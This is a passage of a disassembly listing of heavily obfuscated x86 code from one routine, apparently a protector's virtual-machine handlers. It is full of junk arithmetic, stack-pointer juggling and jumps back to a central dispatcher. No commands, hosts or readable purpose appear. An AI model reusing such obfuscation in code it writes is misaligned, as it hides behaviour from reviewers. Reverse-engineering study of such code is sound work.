[esp-6E6Eh+arg_6E64+2], ebx jmp loc_59508E ; --------------------------------------------------------------------------- loc_5A5606: ; CODE XREF: sub_581EE9+188CEj pop esi jmp loc_59E083 ; --------------------------------------------------------------------------- loc_5A560C: ; CODE XREF: sub_581EE9+1ABFDj add eax, 4 jmp loc_5A5F4B ; --------------------------------------------------------------------------- loc_5A5616: ; CODE XREF: sub_581EE9+1E5C9j sub ecx, 5B402CB2h jmp loc_59CC54 ; --------------------------------------------------------------------------- loc_5A5621: ; CODE XREF: sub_581EE9+12A29j dec bh not bh jmp loc_59BB07 ; --------------------------------------------------------------------------- loc_5A562A: ; CODE XREF: sub_581EE9+17DDEj pop ebp sub eax, 4 push eax jmp loc_595EC3 ; --------------------------------------------------------------------------- loc_5A5636: ; CODE XREF: sub_581EE9+1ABF2j pop edi sub ebx, ebp push ecx mov ecx, 9E84B74h add ebx, ecx pop ecx mov ebp, [esp-6EA2h+arg_6E9A] add esp, 4 push small word ptr [eax] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A5650: ; CODE XREF: sub_581EE9+1EFFFj not eax jmp loc_5A000B ; --------------------------------------------------------------------------- loc_5A5657: ; CODE XREF: sub_581EE9+2188Ej pop ecx pop [esp-6EAEh+arg_6EA4+2] pop esp mov [esp-6EB6h+arg_6EAC+2], ecx push 670D50BCh pop ecx shl ecx, 8 not ecx inc ecx push esi jmp loc_5A4BAE ; --------------------------------------------------------------------------- loc_5A5671: ; CODE XREF: sub_581EE9+18508j xor esi, [esp-6E92h+arg_6E8A] jmp loc_5A3A89 ; --------------------------------------------------------------------------- loc_5A5679: ; CODE XREF: sub_581EE9+21F9Ej push 54CEh mov [esp-6E5Ah+arg_6E50+2], edx push eax push 61B7h mov [esp-6E52h+arg_6E48+2], esi mov esi, 20DE170Eh push esi not [esp-6E4Eh+arg_6E44+2] pop esi or esi, 3A57877h xor esi, 0DFA5F8F5h push esi pop eax pop esi mov edx, eax mov eax, [esp-6E56h+arg_6E4C+2] add esp, 4 add ebx, edx mov edx, [esp-6E5Ah+arg_6E50+2] add esp, 4 xchg ebx, [esp-6E5Eh+arg_6E54+2] mov esp, [esp-6E5Eh+arg_6E54+2] jmp loc_59279E ; --------------------------------------------------------------------------- loc_5A56BE: ; CODE XREF: sub_581EE9+22C63j xchg ebx, [esp-6E44h+arg_6E3A+2] pop esp mov [esp-6E48h+arg_6E3E+2], edi mov edi, 65785863h push edx push esp mov edx, [esp-6E40h+arg_6E36+2] add esp, 4 add edx, 4 sub edx, 4 xchg edx, [esp-6E44h+arg_6E3A+2] pop esp mov [esp-6E48h+arg_6E3E+2], ecx jmp loc_5A1804 ; --------------------------------------------------------------------------- loc_5A56EA: ; CODE XREF: sub_581EE9+142B8j add esp, 4 add edi, ebx push [esp-6E9Eh+arg_6E96] pop ebx jmp loc_594B89 ; --------------------------------------------------------------------------- loc_5A56FB: ; CODE XREF: sub_581EE9+2249Bj xor ecx, [esp-6E76h+arg_6E6E] pop esp mov word ptr [esp-6E7Ah+arg_6E72], cx push ebx push ecx push 1CBFh mov [esp-6E6Eh+arg_6E64+2], ebx mov bh, 0B4h mov cl, 5Ch xor cl, bh mov ebx, [esp-6E6Eh+arg_6E64+2] add esp, 4 jmp loc_592349 ; --------------------------------------------------------------------------- loc_5A571E: ; CODE XREF: sub_581EE9+149BCj add bx, 75A7h pop bp movzx eax, ax push small 4522h mov [esp+0], ax jmp loc_59E686 ; --------------------------------------------------------------------------- loc_5A5735: ; CODE XREF: sub_581EE9+10E5Fj xchg ebx, [esp-6E6Eh+arg_6E64+2] mov esp, [esp-6E6Eh+arg_6E64+2] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A5740: ; CODE XREF: sub_581EE9+146A3j shl bh, 4 jmp loc_59F426 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E9Ch+arg_6E92+2] sub esp, 4 mov [esp-6E98h+arg_6E8E+2], edx push esp pop edx add edx, 4 push ebp push 2FA3h mov [esp], esi push 30992090h pop esi dec esi inc esi push edi jmp loc_592DF6 ; --------------------------------------------------------------------------- loc_5A5774: ; CODE XREF: sub_581EE9+199BEj xor esi, [esp-6E5Ch+arg_6E54] mov esp, [esp-6E5Ch+arg_6E54] add edi, 4 sub edi, 4 xor edi, [esp-6E5Ch+arg_6E54] xor [esp-6E5Ch+arg_6E54], edi xor edi, [esp-6E5Ch+arg_6E54] mov esp, [esp-6E5Ch+arg_6E54] mov [esp-6E5Ch+arg_6E54], ecx jmp loc_597AA8 ; --------------------------------------------------------------------------- loc_5A579A: ; CODE XREF: sub_581EE9+1E360j mov [esp-6E9Ch+arg_6E92+2], edx push 1469h mov [esp-6E98h+arg_6E8E+2], ebp jmp loc_5A675E ; --------------------------------------------------------------------------- loc_5A57AA: ; CODE XREF: sub_581EE9+1B2C2j mov ecx, 4 add ebp, ecx pop ecx add ebp, 2 xor ebp, [esp-6E9Ah+arg_6E92] xor [esp-6E9Ah+arg_6E92], ebp jmp loc_596591 ; --------------------------------------------------------------------------- loc_5A57C0: ; CODE XREF: sub_581EE9+1F7E9j mov ebx, edx jmp loc_5A6648 ; --------------------------------------------------------------------------- loc_5A57C7: ; CODE XREF: sub_581EE9+1242Ej push dword ptr [esp-6E82h+arg_6E7A] pop ebp add esp, 4 add eax, esi push 76B8h jmp loc_5A47D7 ; --------------------------------------------------------------------------- loc_5A57DA: ; CODE XREF: sub_581EE9+11E96j mov [esp-6E92h+arg_6E8A], ebx push small 5A09h mov [esp+0], ax jmp loc_59CA1A ; --------------------------------------------------------------------------- loc_5A57EA: ; CODE XREF: sub_581EE9+20F32j pop edx push 2579h mov [esp-6E9Eh+arg_6E96], eax jmp loc_5A1896 ; --------------------------------------------------------------------------- loc_5A57F8: ; CODE XREF: sub_581EE9+22805j mov eax, 772F110Bh add eax, 0C2371176h or ebx, eax jmp loc_59DA9B ; --------------------------------------------------------------------------- loc_5A5809: ; CODE XREF: sub_581EE9+1E3D9j mov ch, dl pop edx xor ch, 0D1h push bx push edx mov dl, 9Bh mov bh, 0DFh add bh, dl pop edx and ch, bh pop bx inc ch shl ch, 4 xor ch, 32h jmp loc_5A2483 ; --------------------------------------------------------------------------- loc_5A582A: ; CODE XREF: sub_581EE9+162CFj add esp, 4 jmp loc_59FFEC ; --------------------------------------------------------------------------- push [esp-6E94h+arg_6E8A+2] pop eax sub esp, 4 mov [esp], edx push esp jmp loc_5A158C ; --------------------------------------------------------------------------- loc_5A5842: ; CODE XREF: sub_581EE9+1EDECj mov ecx, 4 jmp loc_5A016C ; --------------------------------------------------------------------------- loc_5A584C: ; CODE XREF: sub_581EE9+204A2j push ebp mov ebp, 1EEF739Eh add [esp-6E6Ah+arg_6E64+2], ebp pop ebp pop ecx jmp loc_5A4D4F ; --------------------------------------------------------------------------- loc_5A585D: ; CODE XREF: sub_581EE9+1FB71j pop ebp push 28BCh mov [esp-6E8Eh+arg_6E84+2], esi push [esp-6E8Eh+arg_6E8A] jmp loc_599D2B ; --------------------------------------------------------------------------- loc_5A586F: ; CODE XREF: sub_581EE9+135CFj push ecx mov ecx, 706D42F1h jmp loc_592641 ; --------------------------------------------------------------------------- loc_5A587A: ; CODE XREF: sub_581EE9+100F9j mov [esp-6E9Eh+arg_6E96], ecx xchg eax, [esp-6E9Eh+arg_6E96] not eax xchg eax, [esp-6E9Eh+arg_6E96] push [esp-6E9Eh+arg_6E96] jmp loc_59C274 ; --------------------------------------------------------------------------- loc_5A588D: ; CODE XREF: sub_581EE9+146BDj add eax, 4 add eax, 4 xor eax, [esp-6E92h+arg_6E8A] jmp loc_5A36C0 ; --------------------------------------------------------------------------- loc_5A589F: ; CODE XREF: sub_581EE9+18E65j push edx mov edx, esp add edx, 4 push edi jmp loc_592572 ; --------------------------------------------------------------------------- loc_5A58AE: ; CODE XREF: sub_581EE9+15442j mov esp, dword ptr [esp-6E82h+arg_6E7A] jmp loc_5921F3 ; --------------------------------------------------------------------------- loc_5A58B6: ; CODE XREF: sub_581EE9+24EA5j pop dword ptr [esp-6E82h+arg_6E7A] pop esp jmp loc_59F7C3 ; --------------------------------------------------------------------------- loc_5A58BF: ; CODE XREF: sub_581EE9+23B70j push [esp-6E8Ah+arg_6E80+2] pop eax sub esp, 4 mov [esp-6E86h+arg_6E7C+2], edi push esp pop edi push ebx mov ebx, 66DB4E1Bh or ebx, 35C135EEh add ebx, 16465030h push ebp mov ebp, 264E23F3h shl ebp, 8 jmp loc_594EB3 ; --------------------------------------------------------------------------- loc_5A58EB: ; CODE XREF: sub_581EE9+1E38Dj pop esp mov [esp-6E72h+arg_6E68+2], ecx jmp loc_59E278 ; --------------------------------------------------------------------------- loc_5A58F4: ; CODE XREF: sub_581EE9+155AEj add eax, 51D32FEBh pop edx sub esp, 4 mov [esp-6E96h+arg_6E8E], edx mov edx, esp sub esp, 4 jmp loc_5A311C ; --------------------------------------------------------------------------- loc_5A590A: ; CODE XREF: sub_581EE9+19EF2j mov ecx, [esp-6EC2h+arg_6EBA] add esp, 4 jmp loc_5A0FD7 ; --------------------------------------------------------------------------- loc_5A5915: ; CODE XREF: sub_581EE9+19FD1j pop edx push esi mov esi, 4 add edx, esi pop esi push edx jmp loc_59C311 ; --------------------------------------------------------------------------- loc_5A5925: ; CODE XREF: sub_581EE9+163F9j xchg eax, [esp-6E86h+arg_6E7C+2] jmp loc_593E86 ; --------------------------------------------------------------------------- loc_5A592D: ; CODE XREF: sub_581EE9+1E37Dj add eax, 5EE2FEDDh add esi, eax mov eax, [esp-6E66h+arg_6E5C+2] jmp loc_59C490 ; --------------------------------------------------------------------------- loc_5A593C: ; CODE XREF: sub_581EE9+156A9j mov edi, 74213FDFh add esi, edi pop edi pop edx jmp loc_59B2BA ; --------------------------------------------------------------------------- loc_5A594A: ; CODE XREF: sub_581EE9+1181Fj push [esp-6E8Ah+arg_6E80+2] pop ecx add esp, 4 push 3460h mov [esp-6E8Ah+arg_6E80+2], edi mov edi, 4B158889h xor eax, edi pop edi sub edx, eax pop eax jmp loc_5A48D6 ; --------------------------------------------------------------------------- loc_5A5969: ; CODE XREF: sub_581EE9+22674j not edi jmp loc_5A677E ; --------------------------------------------------------------------------- loc_5A5970: ; CODE XREF: sub_581EE9+1E533j pop ecx pop ecx push esi mov esi, 4 sub ebp, 72AA6170h add ebp, esi push esi mov esi, 47AF436Dh not esi jmp loc_5A0072 ; --------------------------------------------------------------------------- loc_5A598D: ; CODE XREF: sub_581EE9+19EBEj mov ebx, ecx pop ecx push ecx jmp loc_59F59C ; --------------------------------------------------------------------------- loc_5A5996: ; CODE XREF: sub_581EE9+1A5A2j push 27836D97h pop ebx push 46D3h mov [esp-6E50h+arg_6E48], edx mov edx, 74EA236Dh add edx, 0FFFFFFFFh dec edx push edi mov edi, 0 sub edi, edx xchg edi, edx pop edi jmp loc_5A43FF ; --------------------------------------------------------------------------- loc_5A59BD: ; CODE XREF: sub_581EE9+13881j mov [esp-6E42h+arg_6E3A], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-6E42h+arg_6E3A] pop esp push ecx mov ch, 0C7h or ch, 80h jmp loc_5A2537 ; --------------------------------------------------------------------------- loc_5A59DA: ; CODE XREF: sub_581EE9+12210j push 52Eh mov [esp-6E72h+arg_6E68+2], eax mov eax, esp push edx jmp loc_59286D ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E6Eh+arg_6E64+2] sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], esi jmp loc_594290 ; --------------------------------------------------------------------------- loc_5A59F9: ; CODE XREF: sub_581EE9+15193j xor [esp-6E76h+arg_6E6E], ebp jmp loc_595F2B ; --------------------------------------------------------------------------- loc_5A5A01: ; CODE XREF: sub_581EE9+142CCj shl byte ptr [esp-6E9Ah+arg_6E92], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A5A0A: ; CODE XREF: sub_581EE9+1CC33j xchg ebx, [esp-6E7Ch+arg_6E72+2] pop esp mov [esp-6E80h+arg_6E76+2], edi mov edi, 4 sub edx, edi pop edi push edx push [esp-6E80h+arg_6E7C] pop edx pop [esp-6E80h+arg_6E76+2] pop esp jmp loc_5A42CE ; --------------------------------------------------------------------------- loc_5A5A28: ; CODE XREF: sub_581EE9+16C1Dj push [esp-6E76h+arg_6E6E] jmp loc_595805 ; --------------------------------------------------------------------------- loc_5A5A30: ; CODE XREF: sub_581EE9+18671j add eax, ebp pop ebp jmp loc_59946D ; --------------------------------------------------------------------------- loc_5A5A38: ; CODE XREF: sub_581EE9+16204j and ecx, ebp pop ebp shr ecx, 0 or eax, eax jz loc_595E45 push 2AFDh mov [esp-6EACh+arg_6EA4], ebx push ebx mov ebx, 0DB71B33h xor [esp-6EA8h+arg_6EA4], ebx pop ebx jmp loc_5A58BF ; --------------------------------------------------------------------------- loc_5A5A5E: ; CODE XREF: sub_581EE9+19BB9j push esi mov esi, 682403EAh sub edx, esi jmp loc_5A5113 ; --------------------------------------------------------------------------- loc_5A5A6B: ; CODE XREF: sub_581EE9+1D405j add al, bl pop ebx sub dh, al pop eax push ebx push ecx jmp loc_5A2D12 ; --------------------------------------------------------------------------- loc_5A5A78: ; CODE XREF: sub_581EE9+10AFFj mov eax, 39461D43h jmp loc_5A61B6 ; --------------------------------------------------------------------------- loc_5A5A82: ; CODE XREF: sub_581EE9+22C2Fj add edx, 9641CBBh add edx, eax jmp loc_59DD07 ; --------------------------------------------------------------------------- loc_5A5A8F: ; CODE XREF: sub_581EE9+2461Bj mov ecx, 30FA2367h push ebp mov ebp, esp add ebp, 4 jmp loc_595390 ; --------------------------------------------------------------------------- loc_5A5AA2: ; CODE XREF: sub_581EE9+115E0j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A5AA7: ; CODE XREF: sub_581EE9+119CEj mov esp, [esp-6E9Eh+arg_6E96] sub esi, 67122454h sub esi, 0B2B2006h sub esi, 3BC449D4h add esi, edi add esi, 3BC449D4h add esi, 0B2B2006h add esi, 67122454h push [esp-6E9Eh+arg_6E96] pop edi add esp, 4 add esi, 2 xor esi, [esp-6EA2h+arg_6E9A] xor [esp-6EA2h+arg_6E9A], esi jmp loc_5A2F02 ; --------------------------------------------------------------------------- loc_5A5AEB: ; CODE XREF: sub_581EE9+1E239j push esi mov esi, esp jmp loc_594AE8 ; --------------------------------------------------------------------------- loc_5A5AF3: ; CODE XREF: sub_581EE9+10EB3j mov dh, 1Ch add bh, dh pop dx add ch, 8Ah sub ch, bh sub ch, 8Ah jmp loc_593C8A ; --------------------------------------------------------------------------- loc_5A5B06: ; CODE XREF: sub_581EE9+24174j mov edx, [esp-6E5Eh+arg_6E54+2] add esp, 4 sub esp, 4 mov [esp-6E5Eh+arg_6E54+2], ebx push 4EC8h push esp pop [esp-6E56h+arg_6E4C+2] add [esp-6E5Ah+arg_6E50+2], 4 pop ebx add ebx, 4 add ebx, 4 push ebx push [esp-6E5Ah+arg_6E54+2] jmp loc_59F211 ; --------------------------------------------------------------------------- loc_5A5B36: ; CODE XREF: sub_581EE9+1DA1Aj pop edi add esp, 4 jmp loc_5A0B25 ; --------------------------------------------------------------------------- loc_5A5B3F: ; CODE XREF: sub_581EE9+18642j push [esp-6E6Eh+arg_6E64+2] push [esp-6E6Ah+arg_6E60+2] pop ebp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6E66h+arg_6E5C+2] jmp loc_596EE7 ; --------------------------------------------------------------------------- loc_5A5B5D: ; CODE XREF: sub_581EE9+19E52j pop ebx pop ecx pop ecx push esi mov esi, 637B7F93h xor esi, 133162FCh sub esi, 132B73FEh jmp loc_594121 ; --------------------------------------------------------------------------- loc_5A5B77: ; CODE XREF: sub_581EE9+24823j push dword ptr [esp+0] pop edx add esp, 4 jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A5B86: ; CODE XREF: sub_581EE9+201BFj add ebp, esi push [esp-6E3Eh+arg_6E36] jmp loc_599182 ; --------------------------------------------------------------------------- loc_5A5B90: ; CODE XREF: sub_581EE9+146F6j push 7462h mov [esp-6E96h+arg_6E8E], ebp mov ebp, 53470667h jmp loc_598536 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A5BAA: ; CODE XREF: sub_581EE9+1FA6Ej push [esp-6E94h+arg_6E8A+2] pop ecx add esp, 4 jmp loc_599F28 ; --------------------------------------------------------------------------- loc_5A5BB9: ; CODE XREF: sub_581EE9+1695Bj mov edx, 4 add ebp, edx mov edx, [esp-6E5Ch+arg_6E54] push edx mov edx, esp jmp loc_59802D ; --------------------------------------------------------------------------- loc_5A5BCB: ; CODE XREF: sub_581EE9+1095Aj xor esi, 105E2929h dec esi shl esi, 1 add esi, 2688380Bh xor esi, 10A708Ah jmp loc_5942C7 ; --------------------------------------------------------------------------- loc_5A5BE5: ; CODE XREF: sub_581EE9+22118j mov esp, [esp-6EA8h+arg_6E9E+2] push 1B18h mov [esp-6EA4h+arg_6E9A+2], edi mov edi, esp jmp loc_5A4F24 ; --------------------------------------------------------------------------- loc_5A5BF7: ; CODE XREF: sub_581EE9+175E8j pop ecx sub ebp, 2D7A03F7h sub ecx, ebp pop ebp jmp loc_5975BE ; --------------------------------------------------------------------------- loc_5A5C06: ; CODE XREF: sub_581EE9+1643Ej add esi, ecx pop ecx push 7AB2h mov [esp-6E72h+arg_6E68+2], eax jmp loc_59A451 ; --------------------------------------------------------------------------- loc_5A5C16: ; CODE XREF: sub_581EE9+1FEB7j sub edx, ebx pop ebx jmp loc_5A4E01 ; --------------------------------------------------------------------------- loc_5A5C1E: ; CODE XREF: sub_581EE9+1C4B7j add esp, 4 push esi push 4 jmp loc_59FC0D ; --------------------------------------------------------------------------- loc_5A5C2F: ; CODE XREF: sub_581EE9+16F6Ej mov [esp-6E9Eh+arg_6E96], eax jmp loc_5A0142 ; --------------------------------------------------------------------------- loc_5A5C37: ; CODE XREF: sub_581EE9+12478j add ebx, esi mov esi, [esp-6EA0h+arg_6E96+2] add esp, 4 mov [ebx], ch mov ebx, [esp-6EA4h+arg_6E9A+2] sub esp, 4 mov [esp-6EA0h+arg_6E96+2], ebp push esp pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp-6EA0h+arg_6E96+2] jmp loc_5A54A8 ; --------------------------------------------------------------------------- loc_5A5C60: ; CODE XREF: sub_581EE9+16C6Dj and ecx, edx jmp loc_598F56 ; --------------------------------------------------------------------------- loc_5A5C67: ; CODE XREF: sub_581EE9+16DD8j pop dx jmp loc_59EF77 ; --------------------------------------------------------------------------- loc_5A5C6E: ; CODE XREF: sub_581EE9+1DB7Bj xor edx, 71010CC9h sub ebp, edx pop edx add ebp, 1C3D9839h mov eax, ebp pop ebp sub [esp-6E82h+arg_6E7C+2], 1D2E761Fh add [esp-6E82h+arg_6E7C+2], eax push 4F83h jmp loc_5A3AA6 ; --------------------------------------------------------------------------- loc_5A5C96: ; CODE XREF: sub_581EE9+25222j sub esp, 4 jmp loc_594ECE ; --------------------------------------------------------------------------- loc_5A5C9E: ; CODE XREF: sub_581EE9+14DC5j mov eax, 6EA67095h add ecx, eax pop eax push esi mov esi, 10484EA2h jmp loc_59EE36 ; --------------------------------------------------------------------------- loc_5A5CB1: ; CODE XREF: sub_581EE9+19AD3j inc ebp xor ebp, 32626DEBh sub ebp, 0E4D0F73h jmp loc_5A35E5 ; --------------------------------------------------------------------------- loc_5A5CC3: ; CODE XREF: sub_581EE9+1F4A8j mov edx, [esp+0] push edx jmp loc_597AFC ; --------------------------------------------------------------------------- loc_5A5CCC: ; CODE XREF: sub_581EE9+1EDE0j mov [esp-6EB2h+arg_6EA8+2], ecx sub esp, 4 mov [esp-6EAEh+arg_6EA4+2], edx push ebx mov bl, 39h mov dh, 0DAh jmp loc_597FE8 ; --------------------------------------------------------------------------- mov sp, [esp-6EAAh+arg_6EA2] jmp loc_5A3D84 ; --------------------------------------------------------------------------- loc_5A5CEB: ; CODE XREF: sub_581EE9+1AF17j add esp, 4 sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], eax mov eax, 36DA0307h add eax, 7486368h xor ebp, eax pop eax add ebp, 0E17242CCh xor eax, ebp push [esp-6E6Eh+arg_6E64+2] pop ebp push 4D3Dh mov [esp-6E6Ah+arg_6E60+2], edi push esp pop edi push ecx mov ecx, 7BBB4961h shr ecx, 4 push ebx mov ebx, 0F8444B6Eh add ecx, ebx pop ebx jmp loc_5A0FEB ; --------------------------------------------------------------------------- loc_5A5D31: ; CODE XREF: sub_581EE9+1F142j mov [esp-6E64h+arg_6E5C], ebx sub esp, 4 mov [esp-6E60h+arg_6E58], esi mov esi, 224F4CF1h and esi, 152F0A1Bh jmp loc_593553 ; --------------------------------------------------------------------------- loc_5A5D4A: ; CODE XREF: sub_581EE9+19FEEj push 1CDB6DA6h pop edx push edi mov edi, 0F425A28h jmp loc_5A44D9 ; --------------------------------------------------------------------------- loc_5A5D5B: ; CODE XREF: sub_581EE9+22CF2j pop eax push [esp-6E86h+arg_6E7C+2] pop edx push 33EEh mov dword ptr [esp-6E82h+arg_6E7A], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, dword ptr [esp-6E82h+arg_6E7A] pop esp sub al, 95h add al, cl add al, 95h mov cx, word ptr [esp-6E86h+arg_6E7C+2] add esp, 2 jmp loc_5A436F ; --------------------------------------------------------------------------- loc_5A5D8C: ; CODE XREF: sub_581EE9+19954j mov esi, 4 add edi, esi mov esi, dword ptr [esp-6E82h+arg_6E7A] jmp loc_59DEAF ; --------------------------------------------------------------------------- loc_5A5D9B: ; CODE XREF: sub_581EE9+229F5j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A5DA0: ; CODE XREF: sub_581EE9+194B2j add esi, 4 sub esi, 4 xchg esi, [esp-6EB0h+arg_6EA8] pop esp mov [esp-6EB4h+arg_6EAC], ecx mov ecx, 59F41B2Fh dec ecx dec ecx shl ecx, 1 jmp loc_59737E ; --------------------------------------------------------------------------- loc_5A5DC1: ; CODE XREF: sub_581EE9+20718j mov esp, [esp-6EB4h+arg_6EAC] sub eax, 7A3B7328h sub eax, ebx add eax, 7A3B7328h pop ebx xor ebx, eax push dword ptr [eax] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A5DDA: ; CODE XREF: sub_581EE9+13AD7j push ecx mov ecx, esp push 4D6Eh mov [esp-6E9Ch+arg_6E92+2], ebx mov ebx, 7D1C174Ch sub ebx, 507E107Ah or ebx, 60E21FBAh xor ebx, 6CFE1FFEh add ecx, ebx pop ebx jmp loc_59E7A1 ; --------------------------------------------------------------------------- loc_5A5E04: ; CODE XREF: sub_581EE9+1C773j add edx, edi push dword ptr [edx] sub esp, 4 mov [esp-6E76h+arg_6E6E], ebp push 4D1Ch mov [esp-6E72h+arg_6E68+2], edx mov edx, 4EFC76EAh sub edx, 17D060F2h mov ebp, edx pop edx xor [esp-6E76h+arg_6E72], ebp mov ebp, [esp-6E76h+arg_6E6E] add esp, 4 jmp loc_5A604E ; --------------------------------------------------------------------------- loc_5A5E33: ; CODE XREF: sub_581EE9+22589j mov ecx, ebp pop ebp add edx, ecx pop ecx sub esp, 4 mov [esp-6E94h+arg_6E8A+2], edx push [esp-6E94h+arg_6E8E+2] jmp loc_594C9F ; --------------------------------------------------------------------------- loc_5A5E48: ; CODE XREF: sub_581EE9+20890j mov ecx, [esp-6E94h+arg_6E8A+2] add esp, 4 add al, 0FFh push ecx jmp loc_597298 ; --------------------------------------------------------------------------- loc_5A5E59: ; CODE XREF: sub_581EE9+14C7Aj mov [esp-6E5Ah+arg_6E50+2], ebx mov ebx, 4 add edi, 62B151F3h add edi, ebx push edx jmp loc_59B340 ; --------------------------------------------------------------------------- loc_5A5E6F: ; CODE XREF: sub_581EE9+200D5j add eax, edx jmp loc_5A198F ; --------------------------------------------------------------------------- loc_5A5E76: ; CODE XREF: sub_581EE9+22420j push ebx mov ebx, 51DF3A86h jmp loc_5973AA ; --------------------------------------------------------------------------- loc_5A5E81: ; CODE XREF: sub_581EE9+1AC6Cj push edi jmp loc_5A3F83 ; --------------------------------------------------------------------------- loc_5A5E87: ; CODE XREF: sub_581EE9+125F5j mov ebx, [esp-6E9Ah+arg_6E92] add esp, 4 add ebx, 514F3479h add ebx, edx sub ebx, 514F3479h pop edx jmp loc_59930F ; --------------------------------------------------------------------------- loc_5A5EA1: ; CODE XREF: sub_581EE9+17E61j add esp, 4 add ebp, 14BD37A1h pop ecx shl ebp, 8 not ebp jmp loc_59E43A ; --------------------------------------------------------------------------- loc_5A5EB5: ; CODE XREF: sub_581EE9+20962j xor dx, bp pop ebp add di, dx pop edx jmp loc_5A7178 ; --------------------------------------------------------------------------- loc_5A5EC2: ; CODE XREF: sub_581EE9+11DF3j sub ebx, 22031875h pop edi sub ebx, 4BFB3093h add ebx, ecx add ebx, 4BFB3093h add ebx, 153D546Ah pop ecx jmp loc_5A2AA8 ; --------------------------------------------------------------------------- loc_5A5EE3: ; CODE XREF: sub_581EE9+1072Bj xor edi, 3ED81176h not edi jmp loc_59FECD ; --------------------------------------------------------------------------- loc_5A5EF0: ; CODE XREF: sub_581EE9+1CE4Bj push ebp not [esp-6E52h+arg_6E48+2] jmp loc_5A5F92 ; --------------------------------------------------------------------------- loc_5A5EF9: ; CODE XREF: sub_581EE9+24632j pop edi jmp loc_5A019C ; --------------------------------------------------------------------------- loc_5A5EFF: ; CODE XREF: sub_581EE9+2171Cj push ecx mov ecx, 677A76C4h inc ecx inc ecx sub ecx, 21506438h sub eax, ecx pop ecx add eax, 4F7825D4h sub eax, 2D234525h add eax, edx add eax, 2D234525h push edx mov edx, 16CC75E4h xor edx, 59B45030h add eax, 3A065B0h sub eax, edx jmp loc_59CBD6 ; --------------------------------------------------------------------------- loc_5A5F39: ; CODE XREF: sub_581EE9+1F418j mov ebx, 10E9F787h add eax, ebx pop ebx sub edx, eax pop eax add edx, ebx jmp loc_59B08A ; --------------------------------------------------------------------------- loc_5A5F4B: ; CODE XREF: sub_581EE9+23728j sub eax, 4 jmp loc_5A34E0 ; --------------------------------------------------------------------------- loc_5A5F55: ; CODE XREF: sub_581EE9+1613Fj pop ecx jmp loc_5A34F8 ; --------------------------------------------------------------------------- loc_5A5F5B: ; CODE XREF: sub_581EE9+20F7Ej push ebp mov ebp, 731073C0h jmp loc_596C48 ; --------------------------------------------------------------------------- loc_5A5F66: ; CODE XREF: sub_581EE9+1A083j sub bl, 37h jmp loc_595817 ; --------------------------------------------------------------------------- loc_5A5F6E: ; CODE XREF: sub_581EE9+17364j mov esi, 4E2B03C9h inc esi inc esi dec esi or esi, 1E8D7721h xor esi, 5EAF77EFh add edi, esi jmp loc_5A2E76 ; --------------------------------------------------------------------------- loc_5A5F89: ; CODE XREF: sub_581EE9+19B17j push dx mov dh, 71h jmp loc_598CB9 ; --------------------------------------------------------------------------- loc_5A5F92: ; CODE XREF: sub_581EE9+2400Bj pop ebp inc ebp or ebp, 52584A14h push 6A77h mov [esp-6E52h+arg_6E48+2], edi push eax mov eax, 0D8F0D56h shr eax, 4 jmp loc_5A3C47 ; --------------------------------------------------------------------------- loc_5A5FB0: ; CODE XREF: sub_581EE9+18C5Ej and ebp, 509B1414h add ebp, 77B720D5h or eax, ebp push [esp-6EC4h+arg_6EBA+2] pop ebp push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-6EC0h+arg_6EB6+2] pop esp xor eax, 7BB73BF9h jmp loc_5A1F40 ; --------------------------------------------------------------------------- loc_5A5FDF: ; CODE XREF: sub_581EE9+14D91j sub eax, 12156730h push edx mov edx, 23C5081h add edx, 4580396Fh sub eax, edx pop edx sub ebp, eax pop eax dec ebp sub ebp, 0D4A911B5h mov eax, ebp pop ebp add edx, 4AAD652Bh sub edx, eax sub edx, 4AAD652Bh push [esp-6EAEh+arg_6EA4+2] pop eax add esp, 4 jmp loc_597400 ; --------------------------------------------------------------------------- loc_5A601A: ; CODE XREF: sub_581EE9+1557Aj pop esp mov [esp-6E5Ah+arg_6E50+2], ebx jmp loc_5A2822 ; --------------------------------------------------------------------------- loc_5A6023: ; CODE XREF: sub_581EE9+22733j mov edx, esp add edx, 4 push esi mov esi, 4 add edx, 4F2518DFh sub edx, esi jmp loc_59F82D ; --------------------------------------------------------------------------- loc_5A603E: ; CODE XREF: sub_581EE9+1EAFCj mov edx, 1 add ecx, edx pop edx push dword ptr [edi+24h] jmp loc_597531 ; --------------------------------------------------------------------------- loc_5A604E: ; CODE XREF: sub_581EE9+23F45j mov ecx, [esp-6E7Ah+arg_6E72] add esp, 4 xor ecx, 372C15F8h push [esp-6E7Eh+arg_6E76] jmp loc_5A5B06 ; --------------------------------------------------------------------------- loc_5A6062: ; CODE XREF: sub_581EE9+19D03j push ebx mov ebx, 4 add eax, ebx jmp loc_598E3A ; --------------------------------------------------------------------------- loc_5A606F: ; CODE XREF: sub_581EE9+14B50j add ecx, eax pop eax sub ecx, 4 jmp loc_5A027B ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A608C: ; CODE XREF: sub_581EE9+15E03j push edx pop ecx pop edx and ecx, 63BB5DF7h dec ecx add ecx, 0FFFFFFFFh not ecx inc ecx push esi mov esi, 9E56B750h sub ecx, esi pop esi add edx, ecx mov ecx, [esp-6EBAh+arg_6EB2] add esp, 4 jmp loc_5A255D ; --------------------------------------------------------------------------- loc_5A60B5: ; CODE XREF: sub_581EE9+13773j mov edi, 7F3905C8h add [esp-6E62h+arg_6E5C+2], edi pop edi pop edi sub edi, 7F3905C8h pop ebp add eax, edi push [esp-6E6Eh+arg_6E64+2] pop edi add esp, 4 sub ebx, 49261E0h push ebx 